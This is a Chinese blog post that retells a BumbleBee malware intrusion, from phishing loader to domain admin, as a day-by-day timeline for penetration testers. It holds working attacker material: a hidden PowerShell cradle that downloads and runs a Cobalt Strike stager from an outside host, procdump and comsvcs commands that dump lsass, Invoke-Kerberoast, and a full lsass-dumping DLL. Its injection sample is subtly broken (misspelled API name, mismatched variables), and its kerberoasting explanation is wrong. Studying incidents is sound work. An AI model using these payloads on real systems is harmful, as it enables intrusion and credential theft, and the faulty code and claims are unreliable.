1. 程式人生 > 其它 >大黃蜂樣本到域控管理員技術解析

大黃蜂樣本到域控管理員技術解析

目錄

0 前言

實戰案例還原《BumbleBee Roasts Its Way To Domain Admin》一文詳細的描述了一次滲透案例,但其文章組織架構建立在ATT&CK框架上,而不是按照時間線邏輯來組織,因此對於滲透人員瞭解學習其前後過程有些困難,特此梳理一番,按照時間線還原實戰。

《BumbleBee Roasts Its Way To Domain Admin》原文連結

1 第一天(Day1)

1.1 樣本投遞

看起來是通過郵件中的下載連結投遞到的目標環境中的機器,該樣本是一個有密碼的壓縮包。解壓縮後釋放檔案BC_invoice_Report_CORP_46.iso。當掛載這個ISO檔案,會釋放一個LNK檔案documents.lnk,當雙擊這個快捷方式時會執行隱藏的惡意載入器。快捷方式的目標如下:

C:\Windows\System32\cmd.exe /c start rundll32 namr.dll,IternalJob

1.1.1 rundll32解析

使用rundll32載入執行是常用滲透套路,可以執行dll中的程式,一般還可以用來獲取shell:

use exploit/windows/smb/smb_delivery
set srvhost 10.x.x.x
exploit

1.2 載入惡意程式大黃蜂(BumbleBee)

載入器大黃蜂(BumbleBee)返回Cobalt Strike Session,攻擊者利用這個Cobalt Strike的shell釋放wab.exe,該可執行檔案將有wmi執行。

C:\Windows\System32\webm\wmiprvse.exe -secured -Embedding

wab.exe將惡意程式碼注入到其他兩個程序explorer.exe和rundll32.exe中。這裡根據原文來看使用的是遠執行緒注入,及使用經典的OpenProcess、VirtualAlloc、WriteProcessMemory、CreateRemoteThread這些Windows系統呼叫API進行程序注入。根據這些描述,攻擊者此刻是具備至少Administrator許可權,一般情況下具備了Administrator許可權也就有了System許可權,從文章描述來看,攻擊者使用了getsystem來提權。遠執行緒注入例項程式碼如下:

BOOL CreateRemoteThreadInjectDLL(DWORD dwProcessId, char* pszDllFileName){
    HANDLE hProcess = NULL;
    DWORD dwSize = 0;
    LPVOID pDllAddr = NULL;
    FARPROC pFuncProcAddr = NULL;
    hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);//開啟程序,獲取程序控制代碼
    dwSize = 1+ ::lstrlen(pszDllFileName); //獲取dll大小
    pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);//申請內
    ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL);//向記憶體中寫入dll
    pFuncProAddr = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibiaryA");//獲取函式LoadLibraryA的函式地址
    HANDLE hRemoteThread = ::CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, Null);//建立遠執行緒
    ::CloseHandle(hProcess);
    return TRUE;
}

1.3 被控主機資訊收集

攻擊者使用多種命令來收集作業系統、網路、使用者、軟體、程序、域等資訊:

ipconfig /all #獲取網路資訊包含domain
ping -n 1 [domain] #測試domain連通性
net group "domain admins" /domain #獲取域管組成員
nslookup x.x.x.x #獲取x.x.x.x IP地址
tasklist #獲取程序資訊
systeminfo #獲取系統資訊
wmic product get name,version #獲取軟體資訊
wmic /node"<redacted> process list brief #獲取程序資訊
net view \\<redacted>\Files$ /all #列遠端伺服器Files共享目錄
dir \\<redacted>\c$\ #列c盤目錄
tasklist /v /s x.x.x.x #遠端獲取x.x.x.x 程序詳細資訊
net use
net group "Domain computers" /domain
net group "Enterprise admins" /domain
net group "domain computers" /domain
net localgroup administrators
nltest /dclist
nltest /domain_trusts
ping -n 1 <remote_ip>

根據上文執行的命令來看攻擊者已經獲取了遠端伺服器x.x.x.x的許可權或者使用者名稱和口令。

1.4 橫向移動到伺服器並繼續收集資訊

原文描述利用local admin賬號通過RDP協議橫向移動到一臺伺服器,並釋放了AnyDesk.exe作為後門,然後開始利用adfind.exe繼續進行資訊收集(根據描述,看來該伺服器在域內):

cmd.exe /C af.exe -f "(objectcategory=person)" > ad_users.txt
cmd.exe /C af.exe -f "objectcategory=computer" > ad_computers.txt
cmd.exe /C af.exe -sc trustdump > trustdump.txt
cmd.exe /C af.exe -gcb -sc trustdump > trustdump.txt

2 第二天(Day2)

2.1 在伺服器上繼續收集資訊

攻擊者繼續使用RDP登入該伺服器,並上傳了VulnRecon,一款專門設計用來在Windows機器上標識許可權提升的路徑的工具。

3 第四天(Day4)

3.1 在被控主機上繼續收集資訊

攻擊者在被控主機上及環境中的多臺機器,上傳了VulnRecon工具和Sysinternals tool工具套件 ,使用VulnRecon、adfind、procdump等工具繼續資訊收集。其中他們使用遠端服務來執行procdump來提取lsass.exe的記憶體從而獲取憑據,根據描述他們至少又獲得了幾臺主機和至少一臺伺服器的許可權。截止目前看起來尚未獲取與管理或更高的許可權。使用adfind的過程發生在原始被控主機上,當然也不排除在新的橫移到的主機上進行。

cmd.exe /C adfind.exe -f "(objectcategory=person)" > ad_users.txt
cmd.exe /C adfind.exe -f "objectcategory=computer" > ad_computers.txt
cmd.exe /C adfind.exe -f "(objectcategory=organizationalUnit)" > ad_ous.txt
cmd.exe /C adfind.exe -sc trustdump > trustdump.txt

3.1.1 VulnRecon 解析

VulnRecon有一個可執行檔案和一個dll組成,分別是vulnrecon.exe和vulnrecon.dll,用來列舉許可權提升的方式以及資訊收集,看起來是自定義的工具,上傳到原始被控主機上,當然也不排除在新的橫移到的主機上進行。

# 
#vulnrecon.dll PDB: D:\a\_work\1\s\artifacts\obj\win-x64.Release\corehost\cli\apphost\standalone\Release\apphost.pdb
#vulnrecon.exe PDB: D:\work\rt\VulnRecon\VulnRecon\obj\Release\net5.0\VulnRecon.pdb

# command

vulnrecon.exe -v
vulnrecon.exe -o
vulnrecon.exe -FindVulnerability
vulnrecon.exe -i
vulnrecon.exe -m
cmd.exe /c vulnrecon.exe -FindVulnerability >> c:\programdata\log.txt
cmd.exe /c vulnrecon.exe -i >> c:\programdata\1.txt
cmd.exe /c vulnrecon.exe -o >> c:\programdata\out.txt

看起來提權是為了執行procdump獲取lsass記憶體的,發生在原始被控主機上。

### 3.2 獲取lsass中的憑據

根據描述dump出來的檔案儲存在ProgramData中,利用net use等方式可以獲取回來,使用mimikatz或者pypykatz進行破解。這些過程發生在從原始被控主機發現並橫向移動到的那些受害主機和伺服器上。

C:\programdata\procdump64.exe -accepteula -ma lsass.exe C:\ProgramData\lsass.dmp

4 第七天(Day7)

4.1 在被控伺服器上繼續收集資訊

攻擊者持續使用VulnRecon在伺服器上進行資訊收集,並且還使用了Seatbelt工具(一款常用的資訊收集工具)。根據描述使用的是伺服器的本地管理員許可權。

Seatbelt.exe -group=all -outputfile="C:\ProgramData\seatinfo.txt"
vulnrecon.exe -o
vulnrecon.exe -v
vulnrecon.exe -m
cmd.exe /c vulnrecon.exe -FindVulnerability >> c:\programdata\log.txt

5 第十一天(Day11)

5.1 在被控主機上反彈shell

攻擊者持續被控主機上執行powershell命令,下載執行a檔案的內容:

C:\Windows\system32\cmd.exe /C powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://a.b.c.d:80/a'))"

根據在a中發現的cobalt strike 的預設配置字元MZRE可以斷定,這是一個回連C2地址的 cobalt strike的指令。然後攻擊者獲取了一個被控主機到攻擊者控制的C2。

![](https://img2022.cnblogs.com/blog/1070321/202208/1070321-20220817170635532-83148076.png)

然後開始向其他程序進行注入,根據原文描述,應該注入到了類似svchost.exe等幾個程序。然後攻擊者執行了powershell模組Invoke-Kerberoast,開始了kerberoasting攻擊。這裡依然是從被控主機開始都發起的。

#父程序 svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc

IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:36177/'); Invoke-Kerberoast -OutputFormat HashCat | fl | Out-File -FilePath C:\ProgramData\REDACTED\ps.txt -append -force -Encoding UTF8

# 可以看出輸出是hashcat模式,攻擊應該是使用hashcat進行暴力破解

5.1.1 kerberoasting攻擊解析

kerberoasting攻擊解析分為兩種:TGS-Kerberoasting和 AS-Kerberoasting,可以使用rubeus.exe、msf、powershell進行,其獲取的事Net-NTLMHash,可以使用hashcat等工具進行破解從而獲得ntlmhash或者password。

5.2 使用Minidump進行憑據提取

攻擊者又開始使用可以規避卡巴斯基的憑據提取方式minidump進行憑據提取。這裡依然是從被控主機開始都發起的。

#父程序 svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
cmd.exe /C rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 968 C:\ProgramData\REDACTED\lsass.dmp full

5.2.1 Minidump解析

攻擊者又開始使用可以規避卡巴斯基的憑據提取方式minidump進行憑據提取。這裡依然是從被控主機開始都發起的。

#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>

typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);

int GetLsassPid() {

	PROCESSENTRY32 entry;
	entry.dwSize = sizeof(PROCESSENTRY32);

	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

	if (Process32First(hSnapshot, &entry)) {
		while (Process32Next(hSnapshot, &entry)) {
			if (wcscmp(entry.szExeFile, L"lsass.exe") == 0) {
				return entry.th32ProcessID;
			}
		}
	}

	CloseHandle(hSnapshot);
	return 0;
}

void GetDebugPrivilege()
{
	BOOL fOk = FALSE;
	HANDLE hToken;
	if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
	{
		TOKEN_PRIVILEGES tp;
		tp.PrivilegeCount = 1;
		LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
		tp.Privileges[0].Attributes = true ? SE_PRIVILEGE_ENABLED : 0;
		AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
		fOk = (GetLastError() == ERROR_SUCCESS);
		CloseHandle(hToken);
	}
}

void DumpLsass()
{
	wchar_t  ws[100];
	_MiniDumpW MiniDumpW;
	
	MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
	swprintf(ws, 100, L"%u %hs", GetLsassPid(), "c:\\windows\\temp\\temp.bin full");

	GetDebugPrivilege();

	MiniDumpW(0, 0, ws);
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
		DumpLsass();
		break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

我自己曾經編譯過該檔案,在這裡再次感謝曾經A-Team的大佬們帶給我的滲透技術視野和國外XPN大牛樂於分享的精神。

編譯和使用方式參考

5.3 在被控主機上繼續資訊收集

在初始被控主機上繼續使用adfind收集資訊。

cmd.exe /C adfind.exe -f "(objectcategory=person)" > ad_users.txt
cmd.exe /C adfind.exe -f "objectcategory=computer" > ad_computers.txt
cmd.exe /C adfind.exe -sc trustdump > trustdump.txt

5.4 在初始被控機器上再次執行powershell,與之前的相同

攻擊者持續被控主機上執行powershell命令,下載執行a檔案的內容:

C:\Windows\system32\cmd.exe /C powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://a.b.c.d:80/a'))"

以上過程在5.1中有詳細描述不再贅述

5.5 在更多機器上資訊收集

在更多機器上執行下列命令:

C:\Windows\system32\cmd.exe /C net accounts /domain
C:\Windows\system32\cmd.exe /C net view /all
C:\Windows\system32\cmd.exe /C whoami
C:\Windows\system32\cmd.exe /C net view \\x.x.x.x\ /all
C:\Windows\system32\cmd.exe /C wmic /node:x.x.x.x process list brief
C:\Windows\system32\cmd.exe /C net ""domain controllers" /domain 
C:\Windows\system32\cmd.exe /C net nltest /dclist:[domain]

5.6 兩個批處理指令碼

攻擊者上傳並執行兩個指令碼s.bat和w.bat,這兩個指令碼可以分析和發現環境內的其他目標。

# s.bat
echo off
for /f %%i in (servers.txt) do for /f "tokens=2 delims=[]" %%j in ('ping -n 1 -4 "%%i"') do @echo %%j >> serv.log
# w.bat
@echo off
for /f %%i in (workers.txt) do for /f "tokens=2 delims=[]" %%j in ('ping -n 1 -4 "%%i"') do @echo %%j >> work.log

5.7 最後

兩個指令碼執行之後,一個新的cobalt strike的session在初始被控的機器上再次執行上線,然後攻擊者使用一個服務賬號進行橫移,在域控上執行獲取一個cobalt strike的session,根據原文描述這裡是一個弱口令,被hashcat破解tgs-kerberoasting得到的net-ntlm hash的值這個操作所爆破出來,攻擊者在域控上dump lsass。exe的程序記憶體從而獲取到domain admin的許可權,打穿域控。